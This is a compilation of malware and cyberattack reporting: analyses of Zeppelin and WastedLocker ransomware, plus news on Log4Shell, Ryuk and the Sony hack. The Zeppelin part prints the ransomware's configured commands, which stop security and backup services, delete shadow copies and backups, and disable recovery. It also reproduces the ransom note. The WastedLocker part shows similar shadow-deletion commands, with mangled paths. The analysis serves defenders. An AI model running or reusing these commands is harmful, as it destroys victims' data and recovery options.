| 6 | Auto-unlock | Try to unlock files that appear locked during encryption. |
| 7 | Melt | Before exiting, inject self-deletion thread to notepad.exe (deletes the executable, as well as all added registry values). Exit with 0xDEADFACE code. |
| 8 | UAC prompt | When re-running try elevating privileges (only used when "Startup" set). |
These options, along with the public RSA key and other configurable strings, can be set from the Zeppelin builder user-interface during generation of the ransomware binary. All configurable data is stored in the .itext section of the Zeppelin binary and includes:
- Hardcoded public key (modulus and exponent separately)
- GUID (differs for each sample)
- URL address for IPLogger check-in
- Excluded folders list
- Excluded files list
- Excluded extensions list
- List of processes to kill
- List of commands to run
- Readme file name
- Readme file content
## Execution
The ransomware binary can be executed with the following parameters:
| Parameter | Description |
|-------------------------|-------------|
| `<path to an existing file>` | Encrypt one file |
| `<path to an existing directory>` | Encrypt files in the specified directory |
| `-start` | Skip installation and execute the second stage of malicious code (i.e. file encryption) |
| `-agent <int>` | Run as an agent; encrypt files in the path specified in a value under HKCU/Software/Zeppelin/Paths key, where <int> is the name of the value (consecutive numbers starting with 0) |
| (no parameters) | Default encryption routine |
## Installation
Upon initial execution (without parameters), the malware will check the victim’s country code to make sure it’s not running in one of the following countries:
- Russian Federation
- Ukraine
- Belorussia
- Kazakhstan
Depending on the options set during the building process, it will either check the machine’s default language and default country calling code or use an online service to obtain the victim’s external IP address. The malware creates an empty file in the %TEMP% directory with the “.zeppelin” extension and a name that is a CRC32 hash of the malware path.
If the “Startup” option is set the malware will copy itself to the %APPDATA%\Roaming\Microsoft\Windows directory using a name randomly chosen from the list of active processes (ignoring any processes that were invoked with an “install” or “setup” command-line argument). The chosen name is then encrypted with a randomly generated 32-byte RC4 key, base64 encoded (together with the prepended key) and saved to a registry value called “Process” under HKCU\Software\Zeppelin.
After setting persistence via the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key in the registry, the ransomware will re-execute itself from the new path with the “-start” argument. If the “UAC prompt” option is set, it will try to run with elevated privileges. If the “Melt” option is set, a self-deletion thread will be injected into a newly spawned notepad.exe process and the malware will exit with the code 0xDEADFACE. Otherwise, it will simply exit with code 0.
## Network Communication
Like its predecessors, Zeppelin allows attackers to track the IP addresses and location of victims via the IPLogger web service. If the relevant option is set, the ransomware will try to check-in by sending a GET request to a hardcoded URL that was generated by using the IPLogger URL Shortener service. The User-Agent field is set to “ZEPPELIN” and the referrer field contains a unique victim ID, created during the key generation phase.
To prevent a victim from checking in more than once, a “Knock” value of 0x29A (666) is written under HKCU\Software\Zeppelin. If the value already exists, the malware will not try to contact the URL on subsequent runs. Attackers can use the IPLogger web service to view a list of victims and use the shortened URL to redirect users to other malicious content.
## Key Generation
The encryption algorithm has not changed substantially compared to previous versions of Buran. It employs a standard combination of symmetric file encryption with randomly generated keys for each file (AES-256 in CBC mode), and asymmetric encryption used to protect the session key (using a custom RSA implementation, possibly developed in-house).
First, the malware will generate a pair of 512-bit RSA keys for the victim and save them to memory in the following format:
```
<N>{privatekey_modulus_hexstr}</N><D>{privatekey_exponent_hexstr}</D>
<N>{publickey_modulus_hexstr}</N><E>{publickey_exponent_hexstr}</E>
```
The private key from this pair will be encrypted using the attacker’s 2048-bit public RSA key hardcoded in the .itext section of the binary. Both the victim’s RSA encrypted private key and its corresponding public key will then be further obfuscated with a randomly generated 32-byte RC4 key, base64 encoded (together with the prepended RC4 key) and saved to the registry under HKCU\Software\Zeppelin\Keys as “Public Key” and “Encrypted Private Key” respectively.
A unique victim ID is then created using the first 11 bytes of the victim's RSA public key modulus and replacing the third and seventh character with a dash "-" character. An example ID for the keys shown above would be 389-04C-3D7.
## File Encryption
Zeppelin will enumerate files on all drives and network shares to build a list of directories. Depending on the binary type, it will either use the WNetEnumResource API (if running as an EXE) or the following command (if running as a DLL):
```
chcp 1250 && net view
```
For each file that doesn’t match the excluded files/extensions list, the malware will perform the following actions:
1. Save the original file attributes and access times to memory and set FILE_ATTRIBUTE_ARCHIVE.
2. Prepend a "666" string to the plain text file.
3. Generate a random 32-byte AES symmetric key and 16-byte Initialization Vector (IV).
4. Encrypt the file using AES-256 in CBC mode (only the first 0x10000 bytes, the rest of the file content remains unencrypted).
5. Encrypt the AES key with the victim's public RSA key and then further obfuscate it with a randomly generated 32-byte RC4 key.
6. Prepend a hardcoded marker string to the encrypted file, together with the 8-byte length of encrypted data and 8-byte length of original data (including previously added 3-byte "666" string).
7. Append the following information after the encrypted file content:
- Length of the next field
- 0x28 (40): 32-byte RC4 key followed by 8 encrypted zero bytes
- Length of the next field
- 0xBB (187): RC4 obfuscated, RSA-encrypted AES key
- Length of the next field
- 0x4F4 (1268): Victim’s private key asymmetrically encrypted with the attacker’s public key
- Size of data to encrypt
- Original file size
- Size of all appended data
8. Rename the file to append the victim’s unique ID as an extension.
9. Set the file attributes and access times back to original.
10. Proceed to the next file.
If Zeppelin is running as an executable, the first instance of the ransomware will encrypt the files on the current logical drive and spawn a number of subsequent processes with the "-agent" parameter. These processes are responsible for encrypting files on other drives and network shares. All paths to encrypt are stored under the HKCU\Software\Zeppelin\Paths registry key.
Interestingly, some of the samples will encrypt only the first 0x1000 bytes (4KB), instead of 0x10000 (65KB). It might be either an unintended bug, or a conscious choice to speed up the encryption process while rendering most files unusable anyway.
After encrypting all files, Zeppelin will drop a ransom note text file and display it in notepad. The filename and contents are configurable by the attacker. BlackBerry Cylance researchers have uncovered several different versions, ranging from short, generic messages to more elaborate ransom notes tailored to individual organisations. All the messages instruct the victim to contact the attacker via provided email addresses and quote their personal ID number. The attackers are using several secure email providers that are notoriously associated with ransomware, such as firemail[.]cc, Protonmail and Tutanota. Additionally, one of the ransom notes uncovered provides an email address associated with a .onion domain that is only accessible via Tor.
## Conclusion
Ransomware, once in decline, has experienced a resurgence due to the efforts of innovative threat actors. For example, the actors behind Zeppelin demonstrate a dedication to their craft by deploying precise attacks against high-profile targets in the IT and health sectors. Targeting specific organizations rather than every reachable user is just one example of how ransomware attacks continue to evolve. The ongoing refinement of ransomware attacks serves as a stark reminder that effective cyber security should be proactive, predictive, adaptive, and semi-autonomous.
## Indicators of Compromise (IOCs)
- 04628e5ec57c983185091f02fb16dfdac0252b2d253ffc4cd8d79f3c79de2722 (SHA256)
- 39d8331b963751bbd5556ff71b0269db018ba1f425939c3e865b799cc770bfe4 (SHA256)
- 4894b1549a24e964403565c61faae5f8daf244c90b1fbbd5709ed1a8491d56bf (SHA256)
- e22b5062cb5b02987ac32941ebd71872578e9be2b8c6f8679c30e1a84764dba7 (SHA256)
- 1f94d1824783e8edac62942e13185ffd02edb129970ca04e0dd5b245dd3002bc (SHA256)
- d61bd67b0150ad77ebfb19100dff890c48db680d089a96a28a630140b9868d86 (SHA256)
- HKCU\Software\Zeppelin (Reg key)
- {961367AF-2538-7AA3-CE0E-20CBF2F40FD2} (GUID)
- {4B76FDEB-DA9A-2C56-7460-BB8AB48A34C5} (GUID)
- {56A680F5-496F-8328-C080-FDF866E8183F} (GUID)
- {EEDECCF1-06D1-0333-0333-1084CF2219BB} (GUID)
- {A321064D-1177-5C30-7EE6-AEFD48302DCB} (GUID)
- {81732134-D330-05F5-35FC-57B2E8FFB983} (GUID)
## Example of Hardcoded Configuration
### Public RSA Key Modulus
```
17DB1021E0A86DAAB34E261C1FFB0864EB5DBD825B5EC3B30C8CA42A6F368ADEFECAF
242FD8F36D421EEE13D90802EFD2617FF0DE8D4C3C4924648F9249C42F08854EEEDF8
DA14E76DD8497BB0C8FD09C1B71CA5496519A2088809905373D28AB511B104405F200
CCE7B13BE61DC7C13FF478D72208764F69A7BF5812FB115F436BF4097A59CF27F99E0D
CB8A9697EEF5338B13CCA2AB52E878FD9A13D2BA834D8204A35BCAC2247ACFD8CC8
AC29838904DEDFD8B0F84140EA32E9FE921B5319C1E279C0F356DA7B1F4D2A77EDA5
B559240ACCBD395968C0B3D2626273B58F6AA1EB58E7420F07805E5467E1908E6528
000BADB59178EF087AEAEBEE6BB7F41DFD
```
### Public RSA Key Exponent
```
1519D8329EAF8C9301527CE7A3CC7FF48E7C022973B98C513F8AFA32155519C82B9B645
65B0A0EEEB7B71D1140C073A68FE3B28DADA12A115DB6A25D6DED4304F2298F4ED5A
5F4CA42F313F6FBA174A7440C2EED50CF6DAF603DB5CC417D4B787C0366762D3AB3F2
A4E348BA2ED73781CE3793CDD63197FC47BC80BC2065547148CD5C42665419EEBE5AA
181DEC91160D1B76E18CCAECD2D024E8363FB49E9923C53F2A86973D038F1D8F68BF4F
26DF70D4ED5B404E835C364E3299874F443E4C0486FED0B1F4AA15C4E6837FC3C2892
646EC91E232C76A831FE8667288A9A9A987B9767070D832C406EE13353FD83696B9F94
35C0F4E5FC91F0AED0F2839FB9C5
```
### Unique ID of the Malware Sample
```
{961367AF-2538-7AA3-CE0E-20CBF2F40FD2}
```
### Excluded Folders
```
%WINDIR%:\$Windows.~bt\;:\System Volume Information\;:\Windows.old\;:\Windows\;:\intel\;:\nvidia\;:\inetpub\logs\;\All Users\;\AppData\;\Apple Computer\Safari\;\Application Data\;\Boot\;\Google\;\Google\Chrome\;\Mozilla Firefox\;\Mozilla\;\Opera Software\;\Opera\;\Tor Browser\;\Common Files\;\Internet Explorer\;\Windows Defender\;\Windows Mail\;\Windows Media Player\;\Windows Multimedia Platform\;\Windows NT\;\Windows Photo Viewer\;\Windows Portable Devices\;\WindowsPowerShell\;\Windows Photo Viewer\;\Windows Security\;\Embedded Lockdown Manager\;\Windows Journal\;\MSBuild\;\Reference Assemblies\;\Windows Sidebar\;\Windows Defender Advanced Threat Protection\;\Microsoft\;\Package Cache\;\Microsoft Help\;
```
### Excluded Files
```
boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntdetect.com;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;
```
### Excluded Extensions
```
.bat;.cmd;.com;.cpl;.dll;.msc;.msp;.pif;.scr;.sys;.log;.lnk;.zeppelin;
```
### List of Processes to Kill
```
agntsvc.exe;encsvc.exe;isqlplussvc.exe;anvir.exe;anvir64.exe;apache.exe;backup.exe;ccleaner.exe;ccleaner64.exe;dbeng50.exe;dbsnmp.exe;encsvc.exe;far.exe;firefoxconfig.exe;infopath.exe;kingdee.exe;msaccess.exe;msftesql.exe;mspub.exe;mydesktopqos.exe;mydesktopservice.exe;mysqld-nt.exe;mysqld-opt.exe;mysqld.exe;ncsvc.exe;ocautoupds.exe;ocomm.exe;ocssd.exe;oracle.exe;procexp.exe;regedit.exe;sqbcoreservice.exe;sql.exe;sqlagent.exe;sqlbrowser.exe;sqlserver.exe;sqlservr.exe;sqlwriter.exe;synctime.exe;taskkill.exe;tasklist.exe;taskmgr.exe;tbirdconfig.exe;tomcat.exe;tomcat6.exe;u8.exe;ufida.exe;visio.exe;xfssvccon.exe;
```
### List of Commands to Run
```
net stop "Acronis VSS Provider" /y;net stop "Enterprise Client Service" /y;net stop "SQL Backups" /y;net stop "SQLsafe Backup Service" /y;net stop "SQLsafe Filter Service" /y;net stop "Sophos Agent" /y;net stop "Sophos AutoUpdate Service" /y;net stop "Sophos Clean Service" /y;net stop "Sophos Device Control Service" /y;net stop "Sophos File Scanner Service" /y;net stop "Sophos Health Service" /y;net stop "Sophos MCS Agent" /y;net stop "Sophos MCS Client" /y;net stop "Sophos Message Router" /y;net stop "Sophos Safestore Service" /y;net stop "Sophos System Protection Service" /y;net stop "Sophos Web Control Service" /y;net stop "Symantec System Recovery" /y;net stop "Veeam Backup Catalog Data Service" /y;net stop "Zoolz 2 Service" /y;net stop ARSM /y;net stop AVP /y;net stop AcrSch2Svc /y;net stop AcronisAgent /y;net stop Antivirus /y;net stop BackupExecAgentAccelerator /y;net stop BackupExecAgentBrowser /y;net stop BackupExecDeviceMediaService /y;net stop BackupExecJobEngine /y;net stop BackupExecManagementService /y;net stop BackupExecRPCService /y;net stop BackupExecVSSProvider /y;net stop DCAgent /y;net stop EPSecurityService /y;net stop EPUpdateService /y;net stop ESHASRV /y;net stop EhttpSrv /y;net stop EraserSvc11710 /y;net stop EsgShKernel /y;net stop FA_Scheduler /y;net stop IISAdmin /y;net stop IMAP4Svc /y;net stop KAVFS /y;net stop KAVFSGT /y;net stop MBAMService /y;net stop MBEndpointAgent /y;net stop MMS /y;net stop MSExchangeES /y;net stop MSExchangeIS /y;net stop MSExchangeMGMT /y;net stop MSExchangeMTA /y;net stop MSExchangeSA /y;net stop MSExchangeSRS /y;net stop MSOLAP$SQL_2008 /y;net stop MSOLAP$SYSTEM_BGC /y;net stop MSOLAP$TPS /y;net stop MSOLAP$TPSAMA /y;net stop MSSQL$BKUPEXEC /y;net stop MSSQL$ECWDB2 /y;net stop MSSQL$PRACTICEMGT /y;net stop MSSQL$PRACTTICEBGC /y;net stop MSSQL$PROD /y;net stop MSSQL$PROFXENGAGEMENT /y;net stop MSSQL$SBSMONITORING /y;net stop MSSQL$SHAREPOINT /y;net stop MSSQL$SOPHOS /y;net stop MSSQL$SQLEXPRESS /y;net stop MSSQL$SQL_2008 /y;net stop MSSQL$SYSTEM_BGC /y;net stop MSSQL$TPS /y;net stop MSSQL$TPSAMA /y;net stop MSSQL$VEEAMSQL2008R2 /y;net stop MSSQL$VEEAMSQL2008R2 /y;net stop MSSQL$VEEAMSQL2012 /y;net stop MSSQLFDLauncher /y;net stop MSSQLFDLauncher$PROFXENGAGEMENT /y;net stop MSSQLFDLauncher$SBSMONITORING /y;net stop MSSQLFDLauncher$SHAREPOINT /y;net stop MSSQLFDLauncher$SQL_2008 /y;net stop MSSQLFDLauncher$SYSTEM_BGC /y;net stop MSSQLFDLauncher$TPS /y;net stop MSSQLFDLauncher$TPSAMA /y;net stop MSSQLSERVER /y;net stop MSSQLServerADHelper /y;net stop MSSQLServerADHelper100 /y;net stop MSSQLServerOLAPService /y;net stop McAfeeEngineService /y;net stop McAfeeFramework /y;net stop McAfeeFrameworkMcAfeeFramework /y;net stop McShield /y;net stop McTaskManager /y;net stop MsDtsServer /y;net stop MsDtsServer100 /y;net stop MsDtsServer110 /y;net stop MySQL57 /y;net stop MySQL80 /y;net stop NetMsmqActivator /y;net stop OracleClientCache80 /y;net stop PDVFSService /y;net stop POP3Svc /y;net stop RESvc /y;net stop ReportServer /y;net stop ReportServer$SQL_2008 /y;net stop ReportServer$SYSTEM_BGC /y;net stop ReportServer$TPS /y;net stop ReportServer$TPSAMA /y;net stop SAVAdminService /y;net stop SAVService /y;net stop SDRSVC /y;net stop SMTPSvc /y;net stop SNAC /y;net stop SQLAgent$BKUPEXEC /y;net stop SQLAgent$CITRIX_METAFRAME /y;net stop SQLAgent$CXDB /y;net stop SQLAgent$ECWDB2 /y;net stop SQLAgent$PRACTTICEBGC /y;net stop SQLAgent$PROD /y;net stop SQLAgent$PROFXENGAGEMENT /y;net stop SQLAgent$SBSMONITORING /y;net stop SQLAgent$SHAREPOINT /y;net stop SQLAgent$SOPHOS /y;net stop SQLAgent$SQLEXPRESS /y;net stop SQLAgent$SQL_2008 /y;net stop SQLAgent$SYSTEM_BGC /y;net stop SQLAgent$TPS /y;net stop SQLAgent$TPSAMA /y;net stop SQLAgent$VEEAMSQL2008R2 /y;net stop SQLAgent$VEEAMSQL2008R2 /y;net stop SQLAgent$VEEAMSQL2012 /y;net stop SQLBrowser /y;net stop SQLSERVERAGENT /y;net stop SQLSafeOLRService /y;net stop SQLTELEMETRY /y;net stop SQLTELEMETRY$ECWDB2 /y;net stop SQLWriter /y;net stop SamSs /y;net stop SepMasterService /y;net stop ShMonitor /y;net stop SmcService /y;net stop Smcinst /y;net stop SntpService /y;net stop SstpSvc /y;net stop TmCCSF /y;net stop TrueKey /y;net stop TrueKeyScheduler /y;net stop TrueKeyServiceHelper /y;net stop UI0Detect /y;net stop VeeamBackupSvc /y;net stop VeeamBrokerSvc /y;net stop VeeamCatalogSvc /y;net stop VeeamCloudSvc /y;net stop VeeamDeploySvc /y;net stop VeeamDeploymentService /y;net stop VeeamEnterpriseManagerSvc /y;net stop VeeamHvIntegrationSvc /y;net stop VeeamMountSvc /y;net stop VeeamNFSSvc /y;net stop VeeamRESTSvc /y;net stop VeeamTransportSvc /y;net stop W3Svc /y;net stop WRSVC /y;net stop bedbg /y;net stop ekrn /y;net stop kavfsslp /y;net stop klnagent /y;net stop macmnsvc /y;net stop masvc /y;net stop mfefire /y;net stop mfemms /y;net stop mfevtp /y;net stop mozyprobackup /y;net stop msftesql$PROD /y;net stop ntrtscan /y;net stop sacsvr /y;net stop sophossps /y;net stop svcGenericHost /y;net stop swi_filter /y;net stop swi_service /y;net stop swi_update /y;net stop swi_update_64 /y;net stop tmlisten /y;net stop wbengine /y;net stop wbengine /y;bcdedit /set {default} bootstatuspolicy ignoreallfailures;bcdedit /set {default} recoveryenabled no;wbadmin delete catalog -quiet;wbadmin delete systemstatebackup;wbadmin delete systemstatebackup -keepversions:0;wbadmin delete backup;wmic shadowcopy delete;vssadmin delete shadows /all /quiet;reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f;reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f;reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers";attrib "%userprofile%\documents\Default.rdp" -s -h;del "%userprofile%\documents\Default.rdp";
```
### Readme File Name
```
!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT
```
### Readme File Content
```
!!! ALL YOUR FILES ARE ENCRYPTED !!!
All your files, documents, photos, databases and other important files are encrypted.
You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files.
To be sure we have the decryptor and it works you can send an email: bad_sysadmin(at)protonmail[.]com and decrypt one file for free. But this file should be of not valuable!
Do you really want to restore your files?
Write to email: bad_sysadmin(at)protonmail[.]com
Your personal ID: <!--ID-->
Attention!
* Do not rename encrypted files.
* Do not try to decrypt your data using third party software, it may cause permanent data loss.
* Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.
```
## About The BlackBerry Cylance Threat Research Team
The BlackBerry Cylance Threat Research team examines malware and suspected malware to better identify its abilities, function and attack vectors. Threat Research is on the frontline of information security and often deeply examines malicious software, which puts us in a unique position to discuss never-seen-before threats. |
# Disaster Movie
The Lazarus Heist
“I was terrified.” Panic in Hollywood, careers ruined and helium filled balloons sent to North Korea. President Obama makes clear who he blames for the Sony hack.
**Release date:** 25 April 2021
**Duration:** 37 minutes
## More episodes
See all episodes from The Lazarus Heist
**Clip**
**How hackers cracked Sony Pictures' network**
Duration: 06:30
Podcast
The Lazarus Heist
“Almost a perfect crime.” The hackers. A billion dollars. Investigators blame North Korea. |
# Log4shell Exploits Now Used Mostly for DDoS Botnets, Cryptominers
The Log4Shell vulnerabilities in the widely used Log4j software are still leveraged by threat actors today to deploy various malware payloads, including recruiting devices into DDoS botnets and for planting cryptominers. According to a report by Barracuda, the past couple of months were characterized by dips and spikes in the targeting of Log4Shell, but the volume of exploitation attempts has remained relatively constant. After analyzing these attacks, Barracuda determined that most exploitation attempts came from US-based IP addresses, followed by Japan, central Europe, and Russia.
In December 2021, researchers found Log4j version 2.14.1 and all previous versions to be vulnerable to CVE-2021-44228, dubbed "Log4Shell," a critical zero-day remote code execution flaw. Apache, the developer of Log4j, attempted to resolve the issue by releasing version 2.15.0. However, subsequent vulnerability discoveries and security gaps extended the patching race until the end of the year, when version 2.17.1 finally addressed all problems. However, according to Barracuda, many systems continue to run older versions of the popular logging framework and are thus vulnerable to exploitation.
## Leveraged for DDoS and Mining
Barracuda researchers have spotted various payloads targeting vulnerable Log4j deployments, but the Mirai botnet derivatives appear to take the lion's share at this moment. The Mirai malware targets publicly exposed network cameras, routers, and other devices and enlists them into a botnet of remotely controlled bots. The threat actor can then control this botnet to perform DDoS attacks against a specific target, depleting their resources and disrupting their online service. As Barracuda's report explains, Mirai is distributed in various forms and from different sources, indicating that the operators are attempting to build a large botnet that targets victims of all sizes in the future. The threat actors behind these operations are either renting their botnet firepower to others or are launching DDoS attacks themselves to extort companies.
Other payloads seen dropped by recent Log4j exploitation include:
- BillGates malware (DDoS)
- Kinsing (cryptominer)
- XMRig (cryptominer)
- Muhstik (DDoS)
Barracuda's analysts say they did not see ransomware gangs exploiting publicly exposed VMWare installations and believe it's being used more as an insider threat for already compromised networks. For example, the Conti Ransomware used Log4j exploits to spread laterally to VMware vCenter installations.
## A Permanent Threat
The simplest way to protect against these types of attacks is to update Log4j to version 2.17.1 or later and keep all your web applications up to date in general. As most of the devices targeted by Mirai do not allow you to update individual packages, you will need to check for updated firmware that contains Log4j fixes and apply them if available. While Barracuda reports seeing a steady volume of Log4Shell attacks, Sophos has recently reported a decline. However, all analysts agree that the threat remains.
Even if the interest of the majority of threat actors fades, some will continue to target vulnerable Log4j deployments since their numbers remain notable. Valuable organizations that were lucrative for ransomware attacks have applied the security updates, but for purposes of cryptomining and DDoS attacks, neglected systems that run older versions are excellent targets. |
# Catching the “Inception Framework” Phishing Attack
A new sophisticated, layered and targeted malware has been hitting Russia and Russian interests lately, and is starting to spread out. This has been named “Inception Framework” because of its massively layered design, in reference to the 2010 “Inception” movie.
The malware is very ingenious:
- exploits at least CVE-2010-3333, CVE-2012-0158 and CVE-2014-1761
- exists only in RAM
- polymorph
- targeted
- multilayered
- C&C hidden in normal traffic and to legitimate servers
- attacks both computers and mobile phones
But all is not lost, as there are a very few things that can still be caught when a person is infected. As per BlueCoat’s very informative blog post:
**Signs of compromise:**
- Unauthorized WebDAV traffic
- exe continuously running in the process list
**Ways to prevent infection:**
- Keep software updated
- Don’t jailbreak mobile phones
- Don’t install apps from unofficial sources
**Signs of being targeted:**
- Unsolicited emails containing rtf documents
- Unsolicited emails or MMS messages suggesting smartphone applications need updating
All the above vectors that are italic are covered by the correlation set below.
## Layered approach to detection
For such a layered malware, it only sounds appropriate to engage in a layered detection method:
1. First, we will track any “regsvr32.exe” process that starts but never stops, on servers and workstations, using one real-time AIE correlation rule, that will spit out an Event flagged as Security: Suspicious and an Alarm.
2. In parallel, we’ll keep an eye on any outbound WebDav traffic, using a second real-time AIE correlation rule and generate a Security: Suspicious Event and an Alarm here too.
3. Finally, we will corroborate all these correlations together and if they both occur on the machine of someone who just received an inbound email with an RTF or Word documents attached, then raise a Security: Compromised Event as well as an Alarm.
**Rule 1:** Detecting the (too) long running regsvr32.exe
**Rule 2:** Detecting outbound traffic using WebDav protocol
**Rule 3:** Corroborate all the above and check precedence of inbound RTF or DOC email attachments.
Equipped with these little helpers, you should now be able to relax for this festive season with the knowledge that any Inception style incursion into your workstations will be flagged. Moreover, you’ll be made aware of who in your organization is being targeted by the attack early enough before any critical data is siphoned out. |
# French IT Giant Sopra Steria Hit by Ryuk Ransomware
French IT services giant Sopra Steria suffered a cyberattack on October 20th, 2020, that reportedly encrypted portions of their network with the Ryuk ransomware. Sopra Steria is a European information technology company with 46,000 employees in 25 countries worldwide. The company provides a wide range of IT services, including consulting, systems integration, and software development.
On October 21st, Sopra Steria issued a statement that they had suffered a cyberattack on the evening of October 20th, but provided few details about the attack.
"A cyberattack has been detected on Sopra Steria’s IT network on the evening of 20th October. Security measures have been implemented in order to contain risks. The Group’s teams are working hard for a return to normal as quickly as possible and every effort has been made to ensure business continuity. Sopra Steria is in close contact with its customers and partners, as well as the competent authorities."
## Reported Ryuk Ransomware Attack
A source familiar with the attack has told BleepingComputer that the Sopra Steria network was encrypted by Ryuk ransomware, the same group that infected Universal Health Services. Numerous sources have also told the French IT website LeMagIT that it was Ryuk ransomware threat actors who were behind the attack.
This hacking group is known for its TrickBot and BazarLoader infections that allow threat actors to access a compromised network and deploy the Ryuk or Conti ransomware infections. BazarLoader is increasingly being used in Ryuk attacks against high-value targets due to its stealthy nature and is less detected than TrickBot by security software. When installed, BazarLoader will allow threat actors to remotely access the victim's computer and use it to compromise the rest of the network.
## BazarBackdoor Attack Flow
After gaining access to a Windows domain controller, the attackers then deploy the Ryuk ransomware on the network to encrypt all of its devices. When we reached out to Sopra Steria for further confirmation, we were told that they "don’t have further details to share."
### Related Articles
- Costa Rica declares national emergency after Conti ransomware attacks
- New Black Basta ransomware springs into action with a dozen breaches
- American Dental Association hit by new Black Basta ransomware
- Wind turbine firm Nordex hit by Conti ransomware attack
- Hackers use Conti's leaked ransomware to attack Russian companies
**Lawrence Abrams**
Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies. |
# WastedLocker Ransomware: Abusing ADS and NTFS File Attributes
**Jim Walter**
## Background
WastedLocker is a relatively new ransomware family tracked in the wild since April/May 2020. The name comes from the ‘wasted’ string appended to encrypted files upon infection. Similar to families like Maze and NetWalker, WastedLocker has been attacking high-value targets across numerous industries, including several United States-based Fortune 500 companies.
## Leveraging SocGholish & Cobalt Strike
Payload delivery is achieved through multiple methodologies. Once attackers gain a foothold in the targeted environment, Cobalt Strike is often used to deliver the ransomware payloads. The actors behind WastedLocker have also leveraged the SocGholish framework, a JavaScript-based tool that allows attackers to spread malware payloads masquerading as system or software updates. The SocGholish toolset has been observed in use with various malware campaigns since 2018, including NetSupport RAT, Lokibot, and other commodity malware types.
Websites containing the malicious JavaScript code can deliver the malware once users are enticed into visiting the site(s). Once victims are compromised via SocGholish, Cobalt Strike is used to laterally move and gain additional profile data on the targeted hosts or environment. Prior to delivering the WastedLocker payload, attackers typically disable core Windows Defender features and delete Volume Shadow Copies. Additional LOTL-style tools are often observed in the campaigns. For example, PsExec may be used to initiate the launch of the WastedLocker ransomware. PowerShell and WMIC are also sometimes utilized in profiling and tuning the environment.
## Hiding via NTFS’ Alternate Data Stream
WastedLocker has an affinity for running with administrative privileges. If the payload is executed with non-administrative permissions, it will attempt to elevate privileges via UAC bypass (Mocking Trusted Directories). Once elevated, the ransomware writes a copy of a random file from System32 to the %APPDATA% directory. The newly copied file will have a random and hidden filename, allowing the ransomware to copy itself into the file via an alternate data stream (ADS).
This is followed by the creation of a new folder in %TEMP% containing copies of WINMM.DLL and WINSAT.EXE. The %TEMP% copy of WINMM.DLL is then leveraged to execute the ransomware from the previously generated alternate data stream.
## WastedLocker Encryption Routine
The encryption style does not differ significantly from other prominent ransomware families. WastedLocker attempts to encrypt files on local, remote (network adjacent and accessible), and removable drives. Once the eligible drives are located, the ransomware begins the encryption process.
All file types are potential candidates for encryption; however, the ransomware contains a ‘whitelist’ of sorts, with directories and extensions to exclude from encryption. This functionality can vary across campaigns. Files are encrypted via AES (Cipher Block Chaining mode + IV / Initialization Vector) with keys generated for each encrypted file. The AES keys (+IV) are then encrypted using an RSA-4096 public key.
The ransom notes contain a base64 representation of the RSA public key. Encrypted files are renamed with a combination of the targeted company's name along with the string “wasted.” For example, if the non-existent company “Turbo Chicken Audio” were infected, the files would look something like “file.pdf.turbochickenaudiowasted” (from file.pdf). For each encrypted file, an additional file is created with “_info” appended to the end of the file extension. These individual files are the ransom notes, containing the company/target name and an encoded copy of the public key specific to the host, along with limited instructions on how to engage the attackers and potentially “get the price for” the encrypted data. Victims are instructed to email the attackers for further instructions.
The email addresses provided are associated with public, secure email providers (e.g., ProtonMail, Eclipso, Tutanota, and Airmail).
## Additional Details
Some analyzed samples support specific command-line parameters. The following are examples of supported parameters:
- `-p (path)` Encrypt specified folder/directory before continuing to the rest of the drive/device
- `-r` Multi-Purpose: Delete VSS, create a copy of the payload in SYSTEM32, create the ransomware’s service entry and execute
- `-f (path)` Only encrypt file in the specified directory/folder
Most samples analyzed execute with the `-r` parameter by default, such as: `C:UsersadminxAppDataRoamingNetwork:bin -r`.
Persistence is achieved via system service, which is removed once the encryption process has completed. Additional tools are used to manipulate the file system and suppress any requests for user input and/or confirmation. For example, `choice.exe` is leveraged to set file attributes and delete files (the service executable) when needed.
Example:
```
cmd.exe (choice.exe) /c choice /t 10 /d y & attrib -h "C:UsersxxxxxxAppDataRoamingIndex" & del "C:UsersxxxxxxAppDataRoamingIndex"
```
Example:
```
cmd.exe (choice.exe) & del "C:UsersxxxxxMusicwastlock_5.exe"
```
Upon launching, and as part of the `-r` parameter, the ransomware process takes ownership of the copy of the payload dropped into SYSTEM32. This is achieved via commands similar to the following:
```
takeown.exe /F C:Windowssystem32Setup2.exe
```
Basic VSSADMIN commands are used for deletion of Volume Shadow copies; for example:
```
vssadmin.exe Delete Shadows /All /Quiet
```
## Conclusion
WastedLocker is just one more example of the highly aggressive ransomware families following in the footsteps of REvil, NetWalker, and others. Prevention in these attacks is critical. Stopping the attackers before they gain any traction is the most effective way to protect sensitive data. This will especially be true should the actors behind WastedLocker decide to leak the data of their victims. SentinelOne’s Endpoint Protection and Singularity platform are the most robust and powerful tools at the disposal of today’s defenders.
## Indicators & IOCs
### MITRE ATT&CK
- Hide Artifacts: Hidden Files and Directories T1564
- Hide Artifacts: NTFS File Attributes T1564
- System Services: Service Execution T1569
- Abuse Elevation Control Mechanism: Bypass User Access Control T1548
- Native API T1106
- Command and Scripting Interpreter T1059
- File Permissions Modification T1222
- Command-Line Interface T1059
- Data Encrypted for Impact T1486
- Inhibit System Recovery T1490
### Hashes SHA256
- ed0632acb266a4ec3f51dd803c8025bccd654e53c64eb613e203c590897079b3
- e3bf41de3a7edf556d43b6196652aa036e48a602bb3f7c98af9dae992222a8eb
- bcdac1a2b67e2b47f8129814dca3bcf7d55404757eb09f1c3103f57da3153ec8
- aa05e7a187ddec2e11fc1c9eafe61408d085b0ab6cd12caeaf531c9dca129772
- 9056ec1ee8d1b0124110e9798700e473fb7c31bc0656d9fc83ed0ac241746064
- 8897db876553f942b2eb4005f8475a232bafb82a50ca7761a621842e894a3d80
